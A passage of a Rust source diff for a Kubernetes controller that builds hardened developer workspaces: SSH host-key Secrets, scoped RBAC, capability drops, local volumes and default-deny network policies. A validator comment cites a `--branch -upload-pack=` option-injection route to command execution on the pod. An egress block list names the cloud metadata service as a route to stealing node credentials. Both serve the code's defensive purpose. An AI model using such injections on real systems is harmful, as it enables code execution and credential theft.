$H/.config/fish\n\ + printf 'export PATH={path}\\neval \"$(starship init zsh)\"\\n' > $H/.zshrc\n\ + printf 'set -gx PATH {path}\\nstarship init fish | source\\n' > $H/.config/fish/config.fish\n\ + chown {SSH_UID}:{SSH_UID} $H $H/.zshrc $H/.config $H/.config/fish $H/.config/fish/config.fish\n\ + chown -R {SSH_UID}:{SSH_UID} {WORKSPACE_DIR}\n\ + exec {profile}/bin/sshd -D -e -f {SSHD_DIR}/sshd_config\n" + ) +} + +/// This workspace's ed25519 host key, generated once by the node that owns it. +/// +/// Per workspace and owned BY the workspace: it is the identity users pin in `known_hosts`, so it +/// must survive pod recreation (hence a Secret, not a file on the subvolume) and die with the +/// workspace (hence the ownerReference — a clone is a different host and gets its own). +pub fn ws_ssh_secret( + id: &str, + namespace: &str, + owner: &str, + owner_ref: &OwnerReference, + private_openssh: &str, + public_line: &str, +) -> Secret { + Secret { + metadata: meta(&ws_ssh_secret_name(id), Some(namespace), owner, "workspace", owner_ref), + string_data: Some(BTreeMap::from([ + ("ssh_host_ed25519_key".to_string(), private_openssh.to_string()), + ("ssh_host_ed25519_key.pub".to_string(), public_line.to_string()), + ("sshd_config".to_string(), sshd_config()), + ])), + type_: Some("Opaque".to_string()), + ..Default::default() + } +} + +/// `/etc/ssh` for the pod. The private key needs 0400 — sshd exits rather than read a host key +/// anything else can — while the config it reads at the same time is not a secret. +fn ws_ssh_volume(id: &str) -> Volume { + Volume { + name: "ws-ssh".to_string(), + secret: Some(SecretVolumeSource { + secret_name: Some(ws_ssh_secret_name(id)), + default_mode: Some(0o400), + items: Some(vec![ + KeyToPath { key: "ssh_host_ed25519_key".into(), path: "ssh_host_ed25519_key".into(), mode: None }, + KeyToPath { key: "ssh_host_ed25519_key.pub".into(), path: "ssh_host_ed25519_key.pub".into(), mode: None }, + KeyToPath { key: "sshd_config".into(), path: "sshd_config".into(), mode: Some(0o444) }, + ]), + ..Default::default() + }), + ..Default::default() + } +} + +/// The owner's public keys, from the SAME Secret the git key lives in — the API rewrites both +/// halves together. A second volume rather than a second mount of `user-key` because sshd refuses +/// an `authorized_keys` wider than 0600, and the mode is a property of the volume. +/// +/// `items` names ONLY the public half: the whole Secret at `/home/kl/.ssh` would put the owner's +/// private git key where ssh picks identities up by default, and it already has a home at +/// `USER_KEY_PATH`. +/// +/// Mounted as a DIRECTORY, never as a `subPath` of this file. A `subPath` of an OPTIONAL Secret +/// wedges the pod in ContainerCreating with "failed to prepare subPath" when the Secret is not +/// there yet, and a `subPath` mount never sees later writes — so a key added in the UI would need +/// a pod recreate to take effect. As a directory the kubelet fills it in when the Secret appears +/// and refreshes it when the API rewrites it, which is what "sshd reads the file per login" needs. +fn authorized_keys_volume() -> Volume { + Volume { + name: "authorized-keys".to_string(), + secret: Some(SecretVolumeSource { + secret_name: Some(USER_KEY_SECRET.to_string()), + items: Some(vec![KeyToPath { + key: "authorized_keys".into(), + path: "authorized_keys".into(), + mode: Some(0o444), + }]), + // Same reason as `user_key_volume`: the API writes this after the namespace exists, so + // a workspace can be scheduled before its keys are there. A pod that waits for it is a + // workspace that never starts because its owner has registered no key. + optional: Some(true), + ..Default::default() + }), + ..Default::default() + } +} + +fn user_key_volume(required: bool) -> Volume { + Volume { + name: "user-key".to_string(), + secret: Some(SecretVolumeSource { + secret_name: Some(USER_KEY_SECRET.to_string()), + // 0444, deliberately: the file is root's (the kubelet writes it) and git runs as `kl`. + // ssh's "unprotected private key" refusal only fires for a file the CALLER owns, so + // root's key at 0444 is one `kl` may use. Not `fsGroup` — that re-modes EVERY Secret + // in the pod, including the sshd host key, which sshd then refuses as too open. + // World-readable inside a single-person pod is the pod's own boundary, not a wider one. + default_mode: Some(0o444), + // The API writes this AFTER the controller has made the namespace, so a workspace can + // be scheduled before its key exists. Optional means the pod starts anyway and the + // kubelet fills the mount in when the Secret shows up, instead of the pod sitting + // Pending until then. A SEEDED workspace cannot tolerate that: the init container + // clones with this key, and an absent one would start a pod that clones nothing and + // then reports Ready. + optional: Some(!required), + ..Default::default() + }), + ..Default::default() + } +} + +/// Let the API write Secrets in THIS namespace, and nowhere else. +/// +/// The API needs to place a short-lived git token for a workspace being seeded from a repository. +/// Granting `secrets: create` cluster-wide to achieve that would hand it every Secret in the +/// cluster, the agent's own credentials included — so the permission is bound per namespace, by the +/// controller, as it creates each workspace namespace. +/// +/// The controller can only issue this grant because it holds `bind` on exactly this ClusterRole: +/// Kubernetes otherwise refuses to let a subject hand out permissions it does not itself have, and +/// the alternative (giving the controller cluster-wide secret access so it can delegate a slice of +/// it) is the thing being avoided. +/// +/// `owner_ref` is the OwnerBinding that vouched for the namespace, when one did: the grant is +/// per (owner, node) and so shares that lifetime. It is never a Workspace or an Environment — the +/// namespace is shared by every workspace the user owns, so deleting one must not revoke the grant +/// for its siblings. +pub fn api_secret_binding( + ns: &str, + owner: &str, + api_service_account: &str, + api_namespace: &str, + owner_ref: Option<&OwnerReference>, +) -> RoleBinding { + secret_binding(ns, owner, "api-secrets", "rustic-git-api-secrets", api_service_account, api_namespace, owner_ref) +} + +/// The agent's OWN per-namespace Secret grant, for the `ws-ssh-{id}` host keys it reads and +/// creates. The alternative was `secrets: get, create` cluster-wide on the agent's ClusterRole — +/// which included `rustic-git-jwt` and the api's credentials in `kube-system`, so one compromised +/// node could read every tenant's signing key. Bound here, in the namespace this same reconciler +/// just made, so the grant exists before the first workspace's `ensure_ssh` needs it +/// (`namespace_ready` gates that). The ClusterRole is in `deploy/k3s/agent-rbac.yaml`; the +/// admission policy beside it pins which roles this binding may name. +pub const AGENT_SERVICE_ACCOUNT: &str = "rustic-git-agent"; +pub const AGENT_NAMESPACE: &str = "kube-system"; +pub fn agent_secret_binding(ns: &str, owner: &str, owner_ref: &OwnerReference) -> RoleBinding { + secret_binding(ns, owner, "agent-secrets", "rustic-git-agent-ws-secrets", AGENT_SERVICE_ACCOUNT, AGENT_NAMESPACE, Some(owner_ref)) +} + +fn secret_binding( + ns: &str, + owner: &str, + name: &str, + role: &str, + service_account: &str, + sa_namespace: &str, + owner_ref: Option<&OwnerReference>, +) -> RoleBinding { + RoleBinding { + metadata: ObjectMeta { + name: Some(name.to_string()), + namespace: Some(ns.to_string()), + labels: Some(labels(owner, "workspace")), + owner_references: owner_ref.map(|r| vec![r.clone()]), + ..Default::default() + }, + role_ref: RoleRef { + api_group: "rbac.authorization.k8s.io".to_string(), + kind: "ClusterRole".to_string(), + name: role.to_string(), + }, + subjects: Some(vec![Subject { + kind: "ServiceAccount".to_string(), + name: service_account.to_string(), + namespace: Some(sa_namespace.to_string()), + ..Default::default() + }]), + } +} + +/// The PV name for a volume id. Cluster-scoped, so it carries the id rather than living in a +/// namespace that already implies it. +pub fn pv_name(id: &str) -> String { + format!("pv-{id}") +} + +/// A statically provisioned `local` PV over one host path — a workspace's btrfs subvolume, or +/// the shared read-only `/nix` store. +/// +/// `Retain`, never `Delete`: the reclaim policy decides what happens to a user's data when their +/// claim goes away, and `Delete` would hand that decision to the kubelet. Reclaiming a subvolume is +/// the controller's job, done deliberately, after the finalizer says the bytes are gone. +pub fn local_pv( + name: &str, + host_path: &str, + access_mode: &str, + capacity_gb: u64, + owner: &str, + ctx: &PodContext, +) -> PersistentVolume { + PersistentVolume { + metadata: ObjectMeta { + name: Some(name.to_string()), + labels: Some(labels(owner, "volume")), + owner_references: Some(vec![ctx.owner_ref.clone()]), + ..Default::default() + }, + spec: Some(PersistentVolumeSpec { + capacity: Some(BTreeMap::from([("storage".to_string(), Quantity(format!("{capacity_gb}Gi")))])), + access_modes: Some(vec![access_mode.to_string()]), + persistent_volume_reclaim_policy: Some("Retain".to_string()), + storage_class_name: Some(STORAGE_CLASS.to_string()), + local: Some(LocalVolumeSource { path: host_path.to_string(), ..Default::default() }), + // This is what replaces naming a node on the pod: the scheduler will only place a pod + // using this claim onto this node, and says so when it cannot. + node_affinity: Some(VolumeNodeAffinity { + required: Some(k8s_openapi::api::core::v1::NodeSelector { + node_selector_terms: vec![NodeSelectorTerm { + match_expressions: Some(vec![NodeSelectorRequirement { + key: "kubernetes.io/hostname".to_string(), + operator: "In".to_string(), + values: Some(vec![ctx.node_name.to_string()]), + }]), + ..Default::default() + }], + }), + }), + ..Default::default() + }), + ..Default::default() + } +} + +/// The claim binding a namespace to one PV. +/// +/// `volume_name` is set explicitly: without it the claim would bind to whichever PV of this class +/// happens to fit, which for per-workspace storage means someone else's data. +pub fn claim( + ns: &str, + name: &str, + pv: &str, + access_mode: &str, + capacity_gb: u64, + owner: &str, + owner_ref: &OwnerReference, +) -> PersistentVolumeClaim { + PersistentVolumeClaim { + metadata: meta(name, Some(ns), owner, "volume", owner_ref), + spec: Some(PersistentVolumeClaimSpec { + access_modes: Some(vec![access_mode.to_string()]), + storage_class_name: Some(STORAGE_CLASS.to_string()), + volume_name: Some(pv.to_string()), + resources: Some(VolumeResourceRequirements { + requests: Some(BTreeMap::from([("storage".to_string(), Quantity(format!("{capacity_gb}Gi")))])), + ..Default::default() + }), + ..Default::default() + }), + ..Default::default() + } +} + +/// The host Nix store, exposed to a workspace the same way its subvolume is: a local PV names the +/// host path, the pod names a claim. A local PV binds to exactly one claim, so it is one per +/// workspace even though every one of them points at the same `/nix` — PV objects are cheap and +/// the alternative is a hostPath, which PSA `baseline` forbids for good reason. Capacity is a +/// required field with no meaning for it (shared and read-only), hence the flat 1Gi callers pass. +pub const NIX_ROOT: &str = "/nix"; + +pub fn nix_pv_name(id: &str) -> String { format!("nix-{id}") } +pub fn nix_claim_name(id: &str) -> String { format!("nix-{id}") } + +/// The host path backing a volume's live subvolume. +pub fn live_path(pool: &str, id: &str) -> String { format!("{pool}/vol/{id}/live") } + +fn nix_volume(id: &str) -> Volume { + Volume { + name: "nix".to_string(), + persistent_volume_claim: Some(PersistentVolumeClaimVolumeSource { claim_name: nix_claim_name(id), read_only: Some(true) }), + ..Default::default() + } +} + +fn quantities(res: &PodResources) -> ResourceRequirements { + // Requests AND limits on every user container: requests are what the scheduler packs against, + // limits are what stops one workspace eating a node its neighbours share. + ResourceRequirements { + requests: Some(BTreeMap::from([ + ("cpu".to_string(), Quantity(res.cpu_request.clone())), + ("memory".to_string(), Quantity(res.memory_request.clone())), + ("ephemeral-storage".to_string(), Quantity(EPHEMERAL_REQUEST.to_string())), + ])), + limits: Some(BTreeMap::from([ + ("cpu".to_string(), Quantity(res.cpu_limit.clone())), + ("memory".to_string(), Quantity(res.memory_limit.clone())), + ("ephemeral-storage".to_string(), Quantity(EPHEMERAL_LIMIT.to_string())), + ])), + ..Default::default() + } +} + +/// What `baseline` does not enforce but we can still apply per container. +/// +/// `run_as_non_root` is deliberately absent — see the module docs: forcing it would break the +/// zero-configuration default image and most database images an environment is built from. +fn hardened() -> SecurityContext { + SecurityContext { + allow_privilege_escalation: Some(false), + // The kernel's default syscall filter. Not required by `baseline` — which is why it was + // missing — but it is free, needs no change to the image, and is the single largest + // reduction in kernel attack surface available to a container that must run as root. + // Both the NSA/CISA hardening guidance and PSA `restricted` ask for it. + seccomp_profile: Some(SeccompProfile { type_: "RuntimeDefault".to_string(), localhost_profile: None }), + capabilities: Some(Capabilities { + drop: Some(vec!["ALL".to_string()]), + // Drop everything, then add back only what an ordinary image needs to INITIALISE. + // `drop: ALL` alone is not deployable for images users actually bring: the default + // workspace image dies at startup with + // nginx: [emerg] chown("/var/cache/nginx/client_temp", 101) failed (1: Operation not permitted) + // because its entrypoint runs as root, chowns its cache dirs and drops to the nginx + // user — the same shape postgres, mongo and most official images use. Observed on the + // cluster, not theorised. + // + // Every one of these is on Pod Security Admission `baseline`'s allowed-add list, so the + // namespace still rejects the dangerous ones (SYS_ADMIN, NET_RAW, SYS_PTRACE and the + // rest) — which is the property that actually matters. This is "the container runtime's + // ordinary default, stated explicitly" rather than a widening of it. + add: Some( + // SYS_CHROOT is for sshd: its privilege-separation monitor chroots the + // unauthenticated child into /var/empty and refuses every login without it. + [ + "CHOWN", "DAC_OVERRIDE", "FOWNER", "SETGID", "SETUID", "NET_BIND_SERVICE", + "SYS_CHROOT", + ] + .iter() + .map(|c| c.to_string()) + .collect(), + ), + }), + privileged: Some(false), + ..Default::default() + } +} + +fn claim_volume(id: &str) -> Volume { + Volume { + // The in-pod volume name stays constant; only the CLAIM it resolves to varies per volume. + name: "live".to_string(), + persistent_volume_claim: Some(PersistentVolumeClaimVolumeSource { + claim_name: claim_name(id), + read_only: Some(false), + }), + ..Default::default() + } +} + +/// Keep the pod on its role's nodes and tolerate that role's taint. +/// +/// The node itself is chosen by the PV's affinity, not here — this only expresses "session pods run +/// on session nodes". The toleration is not optional: the label without it schedules nothing. +fn placement(spec: &mut PodSpec, role: &str) { + // One label KEY per role (`rustic-git.io/session`, `rustic-git.io/env`) rather than one shared + // key with the role as its value. A label key holds a single value, so `role=session` and + // `role=env` are mutually exclusive and no node could ever serve both — which made a + // single-node install impossible, and produced an unschedulable pod whose data was on one node + // and whose selector demanded another: + // 1 node(s) didn't match PersistentVolume's node affinity + // 1 node(s) didn't match Pod's node affinity/selector + // Separate keys let a small or CI cluster put both roles on one box and a large one keep them + // apart, with no change to this code. + spec.node_selector = Some(BTreeMap::from([( + format!("rustic-git.io/{role}"), + "true".to_string(), + )])); + spec.tolerations = Some(vec![Toleration { + key: Some(format!("rustic-git.io/{role}")), + operator: Some("Exists".to_string()), + effect: Some("NoSchedule".to_string()), + ..Default::default() + }]); + // A user workload has no business talking to the API server. + spec.automount_service_account_token = Some(false); +} + +/// The one definition of `GIT_SSH_COMMAND`, shared by the workspace container and the seeder. Two +/// copies of an ssh invocation that must agree is two invocations that will not. +/// +/// `IdentitiesOnly` stops ssh offering an agent key first and getting refused for too many +/// attempts; `accept-new` trusts the host on first sight, which is the only workable answer when +/// nothing here has a known_hosts file. +fn git_ssh_command() -> EnvVar { + EnvVar { + name: "GIT_SSH_COMMAND".to_string(), + value: Some(format!( + "ssh -i {USER_KEY_PATH}/id_ed25519 -o IdentitiesOnly=yes -o StrictHostKeyChecking=accept-new" + )), + ..Default::default() + } +} + +/// The container that seeds a `gitRepo` workspace, or `None` for any other source. +/// +/// It runs INSIDE the workspace, over SSH, as the owner, with the platform key the pod already +/// mounts. That is the whole reason the credential Secret is gone: there is no third party to mint +/// a token for, and the git tier already decides what this key may read. +/// +/// `repo` is `owner/name`, never a URL, and the host comes from the agent's env — a caller cannot +/// point this at an arbitrary endpoint, which would be an egress and SSRF primitive available to +/// anyone who can create a workspace. Both halves are validated HERE and not only at the API, +/// because this is the last place before the value becomes an ssh argv: anything that writes a +/// Volume by another path (a restored backup, kubectl) reaches this function and not that handler. +/// `Err` is a permanent failure, never a retry — a bad name never becomes a good one. +/// +/// ponytail: `--depth 1` shallow, so `git log` in the workspace shows one commit; deepen on demand +/// if anyone asks for the history they did not ask to clone. +pub fn git_init_container( + source: &crate::crd::VolumeSource, + init_image: &str, + ssh_host: &str, + ssh_port: &str, +) -> Result, String> { + let crate::crd::VolumeSource::GitRepo { repo, branch } = source else { return Ok(None) }; + let ok = repo.split_once('/').is_some_and(|(o, n)| { + rustic_git_storage::store::valid_owner(o) && rustic_git_storage::store::valid_segment(n) + }); + if !ok { + return Err(format!("source repo {repo:?} is not owner/name")); + } + // A leading `-` is an option, not a branch: `git clone --branch -upload-pack=…` is arbitrary + // command execution on this pod. `..` is refused for the same reason `valid_segment` refuses it. + if branch.is_empty() || branch.starts_with('-') || branch.contains("..") { + return Err(format!("source branch {branch:?} is not a branch name")); + } + let url = if ssh_port.is_empty() { + format!("ssh://git@{ssh_host}/{repo}.git") + } else { + format!("ssh://git@{ssh_host}:{ssh_port}/{repo}.git") + }; + Ok(Some(Container { + name: "git-seed".to_string(), + image: Some(init_image.to_string()), + // The empty-dir check is what makes this idempotent: a pod restart, a node reboot or a + // second reconcile must never clone over work the user has done. + command: Some(vec![ + "sh".to_string(), + "-c".to_string(), + format!("set -e; [ \"$(ls -A {WORKSPACE_DIR})\" ] || git clone --depth 1 --single-branch --branch \"$BRANCH\" -- \"$URL\" {WORKSPACE_DIR}") + .to_string(), + ]), + env: Some(vec![ + EnvVar { name: "URL".to_string(), value: Some(url), ..Default::default() }, + EnvVar { name: "BRANCH".to_string(), value: Some(branch.clone()), ..Default::default() }, + git_ssh_command(), + ]), + volume_mounts: Some(vec![ + VolumeMount { name: "live".to_string(), mount_path: WORKSPACE_DIR.to_string(), ..Default::default() }, + VolumeMount { + name: "user-key".to_string(), + mount_path: USER_KEY_PATH.to_string(), + read_only: Some(true), + ..Default::default() + }, + ]), + // ponytail: `hardened()` sets no `run_as_user`, so the seed lands as the INIT IMAGE's user + // (root for `alpine/git`). A workspace image running as a non-root user would find its + // clone unwritable; the fix then is an explicit `runAsUser` on both containers, from the + // image's own uid. + security_context: Some(hardened()), + ..Default::default() + })) +} + +/// The workspace's one pod. +pub fn workspace_pod(spec: &WorkspaceSpec, id: &str, ctx: &PodContext, init: Option) -> Pod { + let _ = ctx.node_name; // placement rides on the PV; kept in context for the PV builder + // ssh is a feature of the DEFAULT image only: a user image brings its own entrypoint, and we + // cannot replace it with sshd without breaking whatever it was built to run. + let default_image = spec.image == crate::model::DEFAULT_WS_IMAGE; + let mut ssh_mounts = vec![]; + if default_image { + ssh_mounts = vec![ + VolumeMount { name: "ws-ssh".into(), mount_path: SSHD_DIR.into(), read_only: Some(true), ..Default::default() }, + VolumeMount { name: "authorized-keys".into(), mount_path: SSH_HOME.into(), read_only: Some(true), ..Default::default() }, + ]; + } + let mut pod_spec = PodSpec { + containers: vec![Container { + name: "workspace".to_string(), + image: Some(spec.image.clone()), + // Only the default image is told what to run: it is a bare alpine, and sshd from its + // Nix profile is both what keeps it alive and how people get in. A user's own image + // keeps its entrypoint — we cannot know what it expects to run, and overriding it + // would break every image that starts a daemon. + // Everything a bare alpine lacks for sshd and a login is made at start (see + // `prelude`) rather than baked into an image, so the default image stays stock alpine. + command: default_image.then(|| vec!["/bin/sh".to_string(), "-c".to_string(), prelude()]), + ports: default_image.then(|| { + vec![ContainerPort { container_port: 22, name: Some("ssh".into()), ..Default::default() }] + }), + volume_mounts: Some(vec![ + VolumeMount { + name: "live".to_string(), + mount_path: WORKSPACE_DIR.to_string(), + ..Default::default() + }, + VolumeMount { + name: "user-key".to_string(), + mount_path: USER_KEY_PATH.to_string(), + read_only: Some(true), + ..Default::default() + }, + // The store, and THIS workspace's profile only. Subpaths of one read-only claim: + // `/nix` itself holds every other workspace's profile and the daemon socket. + VolumeMount { name: "nix".to_string(), mount_path: "/nix/store".to_string(), sub_path: Some("store".to_string()), read_only: Some(true), ..Default::default() }, + VolumeMount { name: "nix".to_string(), mount_path: crate::packages::PROFILE_MOUNT.to_string(), sub_path: Some(format!("var/rustic/profiles/{id}")), read_only: Some(true), ..Default::default() }, + ].into_iter().chain(ssh_mounts).collect()), + // So `git` in the workspace uses the platform key and commits as the owner without + // anyone configuring it. The same list feeds sshd's `SetEnv`. + env: Some(login_env()), + resources: Some(quantities(&spec.resources)), + security_context: Some(hardened()), + ..Default::default() + }], + // Required, not optional, for a seeded workspace: the init container cannot clone without + // the key. + volumes: Some({ + let mut v = vec![claim_volume(id), nix_volume(id), user_key_volume(init.is_some())]; + if default_image { + v.extend([ws_ssh_volume(id), authorized_keys_volume()]); + } + v + }), + init_containers: init.map(|c| vec![c]), + // Optional by design: the kubelet ignores a named pull secret that does not exist, so a + // public image keeps working in a namespace that has never been given a credential. + image_pull_secrets: Some(vec![LocalObjectReference { name: PULL_SECRET.to_string() }]), + // What `--restart unless-stopped` became: stopping is expressed by deleting the pod, not by + // a policy the kubelet interprets. + restart_policy: Some("Always".to_string()), + // What the prompt shows (`kl@ws`), not the generated pod name — the id is in `kl ws list`. + hostname: Some("ws".to_string()), + runtime_class_name: ctx.runtime_class.map(str::to_string), + ..Default::default() + }; + placement(&mut pod_spec, "session"); + let mut m = meta( + id, + Some(&crate::crd::ws_namespace(&spec.owner, &spec.team)), + &spec.owner, + "workspace", + &ctx.owner_ref, + ); + // Which workspace this pod IS. Siblings share the namespace, so an attachment grant that named + // only the namespace would reach all of them; this label is what keeps it to one. + if let Some(l) = m.labels.as_mut() { + l.insert(WORKSPACE_LABEL.to_string(), id.to_string()); + } + Pod { metadata: m, spec: Some(pod_spec), ..Default::default() } +} + +/// The env unit from the capacity model: 4 GB limit, packed at 1.5x oversubscription, so the +/// request is 4 GB / 1.5 = 2730Mi. Requesting 512Mi against a 4Gi limit was 8x oversubscription, +/// not 1.5x — five times more services on a node than the model prices, every one of them able to +/// claim memory that is not there. +/// +/// CPU stays small deliberately: envs are memory-bound and idle services need almost none, so +/// packing is decided by memory alone. +/// +/// One definition, used by both the Deployment and the namespace's `LimitRange`. Two copies of a +/// number that must agree is two numbers that will not. +pub fn env_unit_resources() -> PodResources { + PodResources { + cpu_request: "250m".into(), + cpu_limit: "2".into(), + memory_request: "2730Mi".into(), + memory_limit: "4Gi".into(), + } +} + +/// One Deployment per service in an environment. +/// +/// **Every mount goes through `validate_mount` here.** An environment has ONE volume, and each +/// declared mount is a folder inside it, expressed as a `subPath` on the shared claim. Kubernetes +/// rejects `..` in a subPath itself, but this does not lean on that: a folder is validated as a +/// single safe segment before it is ever formatted into one. +pub fn service_statefulset( + svc: &model::Service, + env_id: &str, + owner: &str, + ctx: &PodContext, +) -> Result { + // The API checked this at create; re-checked here because this is the last point before the + // values become object names, and it also covers an Environment written by any other path. + model::validate_service(svc)?; + let mut mounts = Vec::new(); + for m in &svc.mounts { + mounts.push(VolumeMount { + name: "live".to_string(), + mount_path: m.path.clone(), + sub_path: Some(format!("volumes/{}", m.folder)), + ..Default::default() + }); + } + + let mut sel = labels(owner, "environment"); + sel.insert(SERVICE_LABEL.to_string(), svc.name.clone()); + + let mut pod_spec = PodSpec { + containers: vec![Container { + name: svc.name.clone(), + image: Some(svc.image.clone()), + command: (!svc.command.is_empty()).then(|| svc.command.clone()), + // Sorted: `env` is a HashMap, and a template whose variable order differs from the + // last apply is a new revision — a rollout nobody asked for on every reconcile. + env: Some( + svc.env + .iter() + .collect::>() + .into_iter() + .map(|(k, v)| EnvVar { + name: k.clone(), + value: Some(v.clone()), + ..Default::default() + }) + .collect(), + ), + ports: Some( + svc.ports + .iter() + .map(|p| ContainerPort { + container_port: *p as i32, + ..Default::default() + }) + .collect(), + ), + volume_mounts: (!mounts.is_empty()).then_some(mounts), + resources: Some(quantities(&env_unit_resources())), + security_context: Some(hardened()), + ..Default::default() + }], + volumes: Some(vec![claim_volume(env_id)]), + // An environment's services are the likeliest place a private image appears — they are + // whatever the user named, not our default. + image_pull_secrets: Some(vec![LocalObjectReference { name: PULL_SECRET.to_string() }]), + runtime_class_name: ctx.runtime_class.map(str::to_string), + ..Default::default() + }; + placement(&mut pod_spec, "env"); + + Ok(StatefulSet { + metadata: meta( + &svc.name, + Some(&crate::crd::env_namespace(env_id)), + owner, + "environment", + &ctx.owner_ref, + ), + // A StatefulSet, not a Deployment, and the reason is its one-pod-per-ordinal guarantee: + // `db-0` is never created until the previous `db-0` is fully gone — on updates AND on + // node failures — where a Deployment surges a second pod first. Every service mounts the + // environment's one subvolume, and two mongods on one WiredTiger directory is how a real + // environment got a torn block. Availability is not what this object is for. + spec: Some(StatefulSetSpec { + replicas: Some(1), + selector: LabelSelector { + match_labels: Some(sel.clone()), + ..Default::default() + }, + // The ClusterIP Service of the same name: what makes `db:27017` resolve. Not headless, + // and nothing here needs the per-ordinal `db-0.db` name. + service_name: Some(svc.name.clone()), + template: PodTemplateSpec { + metadata: Some(ObjectMeta { + labels: Some(sel), + ..Default::default() + }), + spec: Some(pod_spec), + }, + ..Default::default() + }), + ..Default::default() + }) +} + +/// The ClusterIP that gives a service its DNS name — what makes `mongodb://db:27017` resolve from a +/// sibling service, and from an attached workspace on another node. +pub fn service_clusterip( + svc: &model::Service, + env_id: &str, + owner: &str, + owner_ref: &OwnerReference, +) -> CoreService { + let mut sel = labels(owner, "environment"); + sel.insert(SERVICE_LABEL.to_string(), svc.name.clone()); + CoreService { + metadata: meta( + &svc.name, + Some(&crate::crd::env_namespace(env_id)), + owner, + "environment", + owner_ref, + ), + spec: Some(ServiceSpec { + selector: Some(sel), + ports: Some( + svc.ports + .iter() + .map(|p| ServicePort { + name: Some(format!("p{p}")), + port: *p as i32, + target_port: Some(IntOrString::Int(*p as i32)), + ..Default::default() + }) + .collect(), + ), + ..Default::default() + }), + ..Default::default() + } +} + +fn policy(name: &str, ns: &str, owner: &str, owner_ref: &OwnerReference, spec: NetworkPolicySpec) -> NetworkPolicy { + NetworkPolicy { + metadata: meta(name, Some(ns), owner, "policy", owner_ref), + spec: Some(spec), + } +} + +/// The three policies every namespace gets: deny everything, allow DNS out, allow the namespace to +/// talk to itself. +/// +/// Generated rather than rendered from YAML so there is exactly one definition of the isolation +/// rule. Order does not matter — NetworkPolicies are additive, and the default-deny is expressed by +/// selecting every pod with no rules rather than by precedence. +pub fn default_policies(ns: &str, owner: &str, owner_ref: &OwnerReference) -> Vec { + let all_pods = LabelSelector::default(); + vec![ + policy( + "default-deny", + ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(all_pods.clone()), + policy_types: Some(vec!["Ingress".into(), "Egress".into()]), + ..Default::default() + }, + ), + policy( + "allow-dns", + ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(all_pods.clone()), + policy_types: Some(vec!["Egress".into()]), + // To CoreDNS specifically, by its namespace's well-known label. Without this rule + // every lookup fails, which is the most common way a default-deny namespace looks + // like "the network is broken". + egress: Some(vec![NetworkPolicyEgressRule { + to: Some(vec![NetworkPolicyPeer { + namespace_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([( + "kubernetes.io/metadata.name".to_string(), + "kube-system".to_string(), + )])), + ..Default::default() + }), + ..Default::default() + }]), + ports: Some(vec![ + NetworkPolicyPort { + protocol: Some("UDP".into()), + port: Some(IntOrString::Int(53)), + ..Default::default() + }, + NetworkPolicyPort { + protocol: Some("TCP".into()), + port: Some(IntOrString::Int(53)), + ..Default::default() + }, + ]), + }]), + ..Default::default() + }, + ), + allow_internet_egress(ns, owner, owner_ref), + policy( + "allow-same-namespace", + ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(all_pods), + policy_types: Some(vec!["Ingress".into(), "Egress".into()]), + // An environment's services must reach each other — that is what an environment IS. + ingress: Some(vec![NetworkPolicyIngressRule { + from: Some(vec![NetworkPolicyPeer { + pod_selector: Some(LabelSelector::default()), + ..Default::default() + }]), + ..Default::default() + }]), + egress: Some(vec![NetworkPolicyEgressRule { + to: Some(vec![NetworkPolicyPeer { + pod_selector: Some(LabelSelector::default()), + ..Default::default() + }]), + ports: None, + }]), + }, + ), + ] +} + +/// Everything a tenant must NEVER reach on egress, as CIDRs excluded from the public internet. +/// +/// `169.254.0.0/16` is the one that matters most: `169.254.169.254` is the cloud instance metadata +/// service, and on Azure it hands out the NODE's managed identity to anything that asks. A tenant +/// that reaches it holds the node's cloud credentials, which is a full escape from the cluster, not +/// merely from the namespace. +/// +/// The private ranges cover the pod network (10.42/16), the service network (10.43/16) and the +/// node subnet (10.60/16) without this code having to know them — and blocking all of RFC 1918 +/// rather than the three specific ranges means a cluster that renumbers does not silently open a +/// hole. Nothing a dev workspace legitimately fetches lives on a private address. +const CLUSTER_INTERNALS: [&str; 4] = ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16"]; + +/// Egress to the public internet, and nothing private. +/// +/// A workspace has to reach npm, crates.io, GitHub — a dev environment that cannot fetch a +/// dependency is not one. But "allow egress" written the obvious way (`0.0.0.0/0`) also opens the +/// metadata service and every internal address, which is why this is an allow-list with holes +/// punched OUT rather than a permit-all. +/// +/// Additive with the rest: `allow-dns` still permits CoreDNS (inside 10/8, excluded here) and +/// `allow-same-namespace` still permits siblings, because NetworkPolicies union. +pub fn allow_internet_egress(ns: &str, owner: &str, owner_ref: &OwnerReference) -> NetworkPolicy { + policy( + "allow-internet-egress", + ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(LabelSelector::default()), + policy_types: Some(vec!["Egress".into()]), + egress: Some(vec![NetworkPolicyEgressRule { + to: Some(vec![NetworkPolicyPeer { + ip_block: Some(IPBlock { + cidr: "0.0.0.0/0".to_string(), + except: Some(CLUSTER_INTERNALS.iter().map(|c| c.to_string()).collect()), + }), + ..Default::default() + }]), + ports: None, + }]), + ..Default::default() + }, + ) +} + +/// The one hole in a workspace namespace's default-deny ingress: port 22, from the gateway pods in +/// `kube-system` and nothing else. +/// +/// Both selectors sit in ONE peer, which is an AND. Written as two peers it would be an OR, and +/// any pod in the cluster — including another tenant's workspace — could reach every sshd by +/// labelling itself `app=rustic-git-gateway`. +pub fn allow_gateway_ingress(ns: &str, owner: &str, owner_ref: &OwnerReference) -> NetworkPolicy { + policy( + "allow-gateway-ssh", + ns, + owner, + owner_ref, + NetworkPolicySpec { + pod_selector: Some(LabelSelector::default()), + policy_types: Some(vec!["Ingress".into()]), + ingress: Some(vec![NetworkPolicyIngressRule { + from: Some(vec![NetworkPolicyPeer { + namespace_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([( + "kubernetes.io/metadata.name".to_string(), + "kube-system".to_string(), + )])), + ..Default::default() + }), + pod_selector: Some(LabelSelector { + match_labels: Some(BTreeMap::from([("app".to_string(), "rustic-git-gateway".to_string())])), + ..Default::default() + }), + ..Default::default() + }]), + ports: Some(vec![NetworkPolicyPort { + protocol: Some("TCP".into()), + port: Some(IntOrString::Int(22)), + ..Default::default() + }]), + }]), + ..Default::default() + }, + ) +} + +/// One policy per attachment, in the ENVIRONMENT's namespace, keyed by the workspace namespace's +/// name 